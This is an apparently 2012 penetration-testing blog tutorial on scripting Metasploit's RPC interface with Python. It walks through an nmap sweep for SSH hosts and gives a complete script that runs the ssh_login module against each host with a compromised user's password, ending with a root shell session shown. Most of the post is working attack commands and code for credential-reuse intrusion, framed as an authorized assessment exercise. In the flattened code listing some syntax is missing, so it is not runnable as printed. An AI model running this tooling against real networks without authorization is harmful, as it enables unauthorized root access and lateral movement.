Scripting Metasploit with Python
April 19, 2012
While performing security assessments for clients, I occasionally encounter circumstances where I'd like a little more flexibility while using Metasploit. Not to mention, I'm always looking for ways to do cool things with Python. The focus of this post is to lay the groundwork for how you can get Metasploit's MSGPACK Remote Procedure Call (RPC) interface and the Python programming language to play nicely together while at the same time demonstrating how it could be used in practice.
Let's lay out the testing scenario. Assume, through one method or another, I've obtained the clear-text password for a single user - Bob. I have Bob's Windows credentials and can easily, through RDP or psexec, access his machine. I've determined that Bob is a Linux Administrator. I wish to determine what, if any, Linux servers allow me to log in as "root" using Bob's compromised password. There are a number of ways to accomplish this. Below is one such method.
For this exercise, I'll be interacting with Metasploit via the RPC interface (rather than directly with the console). The RPC interface allows clients to locally or remotely execute Metasploit commands, including running aux modules and exploits, interacting with sessions, talking to a database, etc. Python, a popular scripting language, can communicate over RPC. Therefore, I can write a Python script to "remote control" my Metasploit instance.
This example was created using Backtrack 5R1 Linux distribution, Python 2.6.5 (with msgpack library installed). The logical steps needed to accomplish our objective are as follows:
- Identify Linux hosts. For the sake of simplicity in this exercise, we'll assume Linux hosts are the ones running SSH (port 22). Yes, yes. This is WAY too simplified. This is intentional.
- Create a Python script that interacts with Metasploit to attempt an SSH login on each host.
- Run the script.
Easy enough. Let's get rolling ...
To identify live hosts, let's simply run an Nmap scan of our network and save it as a greppable file:
nmap 10.0.1.1/24 -p22 -oG ssh_scan.gnmap
The file, ssh_scan.gnmap, contains our live hosts and the status of SSH. We'll need to clean up the results file to hone in on only those hosts with SSH "open." The following command does just that and saves the target IPs to a separate file:
cat ssh_scan.gnmap | grep open | cut -d " " -f 2 > ssh_hosts.txt
We now have a file named ssh_hosts.txt that contains a list of IP addresses running SSH. Next, let's start Metasploit and the MSGRPC interface:
msfconsole msf exploit(handler) > load msgrpc Pass=pa55w0rd
[*] MSGRPC Service: 127.0.0.1:55552
[*] MSGRPC Username: msf
[*] MSGRPC Password: pa55w0rd
[*] Successfully loaded plugin: msgrpc msf exploit(handler) >
At this point, Metasploit's RPC interface is listening on port 55552. We can proceed to write our Python script to automate the task of testing SSH logins. I highly recommend you look over Metasploit's Remote API Documentation before proceeding. The following pseudo code addresses our needs:
- Authenticate to Metasploit's MSGRPC interface (username: msf, password: pa55w0rd).
- Create a Metasploit console.
- For each Linux host in the file, run the SSH_login module using Bob's compromised password of 's3cr3t'.
- Destroy the Metasploit console (clean up to preserve resources).
- Interact with any SSH sessions established.
A complete listing of the Python source is below (be gentle, I'm not a programmer). To proceed with the testing, I update the user settings at the top of the script to reflect a USERNAME of "root" and a PASSWORD of "s3cr3t" (which is Bob's compromised password). Save the changes and run the Python script:
[+] Authentication successful
[+] Console 0 created [!] Testing host 10.0.1.43
[+] Listing sessions... Session ID Target 1 email@example.com
Looking at the session listing, the script successfully authenticated as "root" using Bob's password on host 10.0.1.43. Our Metasploit console that we started previously confirms this fact:
msf exploit(handler) >
[*] Command shell session 1 opened (10.0.2.10:43863 -> 10.0.1.43:22)...
msf exploit(handler) > sessions -l
1 shell linux SSH root:s3cr3t (10.0.1.43:22) 10.0.2.10:43863 -> 10.0.1.43:22 (10.0.1.43)
At this point, you can interact with the established sessions through the open msfconsole or create additional scriptable events executed through the Python script.
Of course, this entire example is a bit contrived, considering the same could be accomplished simply through msfconsole and by setting the RHOSTS option to the 10.0.1.1/24. Again, this is intended to be a basic introduction of Metasploit's RPC interface and its usage in Python.
#!/usr/bin/python import msgpack, urllib2, time # # User parameters # HOSTS_FILE = "ssh_hosts.txt" USERNAME = "root" PASSWORD = "s3cr3t" class MsfRpcCore: # Initialize common variables, perform MSF login, and create a console def __init__(self, host='127.0.0.1', port=55552, user='msf', password='pa55w0rd'): self.host = host self.port = port self.user = user self.password = password self.auth_token = self.login() self.console_id = self.create_console() # Used to generate a template of an MSF RPC request def get_vanilla_request(self): base_url = "http://" + self.host + ":" + str(self.port) + "/api/" base_request = urllib2.Request(base_url) base_request.add_header('Content-type', 'binary/message-pack') return base_request # Perform a login to MSF, return the auth_token needed for subsequent requests def login(self): options = ['auth.login', self.user, self.password] response = self.run(params=options, auth=False, console=False) token = None if response.get('result') == 'success': print "[+] Authentication successful" token = response.get('token') else: print "[-] Authentication failed" exit() return token # Function to create an MSF console.Returns console ID needed for subsequent requests def create_console(self): options = ['console.create'] response = self.run(params=options, console=False) if response.get('id') is None: print "[-] Unable to create console" exit() print "[+] Console %s created" % response.get('id') return response.get('id') # Run an MSF command. Params list includes method name and MSF command # Auth is a boolean indicating if the method requires an auth token # Console is a boolean indicating if the method requires a console # Returns an unpacked response which is a dictionary of dictionaries def run(self, params=, auth=True, console=True): if auth == True and not self.auth_token: print "[-] You must first log in to MSF" exit() if console == True and not self.console_id: print "[-] Console required for command" return None if auth: params.insert(1, self.auth_token) if console: params.insert(2, self.console_id) request = self.get_vanilla_request() query_params = msgpack.packb(params) request.add_data(query_params) response = msgpack.unpackb(urllib2.urlopen(request).read()) if params == 'console.write': time.sleep(1) while True: response = self.run(params=['console.read']) if response['busy'] == True: time.sleep(1) continue break return response if __name__ == '__main__': # Read in file of host IPs infile = open(HOSTS_FILE, 'r') hosts = infile.readlines() infile.close() # Setup object, perform login, create console msfrpc = MsfRpcCore() # Loop through each host running SSH login against it for host in hosts: cmd = """ use auxiliary/scanner/ssh/ssh_login set RHOSTS %s set USERNAME %s set PASSWORD %s set BLANK_PASSWORDS false set USER_AS_PASS false exploit """ % (host, USERNAME, PASSWORD) print "[!] Testing host %s" % host response = msfrpc.run(params=['console.write', cmd]) # Retrieve sessions response = msfrpc.run(params=['session.list'], console=False) if len(response) > 0: print "[+] Listing sessions..." print "%-15s%s" % ("Session ID", "Target") for sess_id in response: print "%-15s%s@%s" % (sess_id, response[sess_id].get('username'), response[sess_id].get('target_host')) else: print "[-] No sessions found" # Cleanup msfrpc.run(params=['console.destroy'])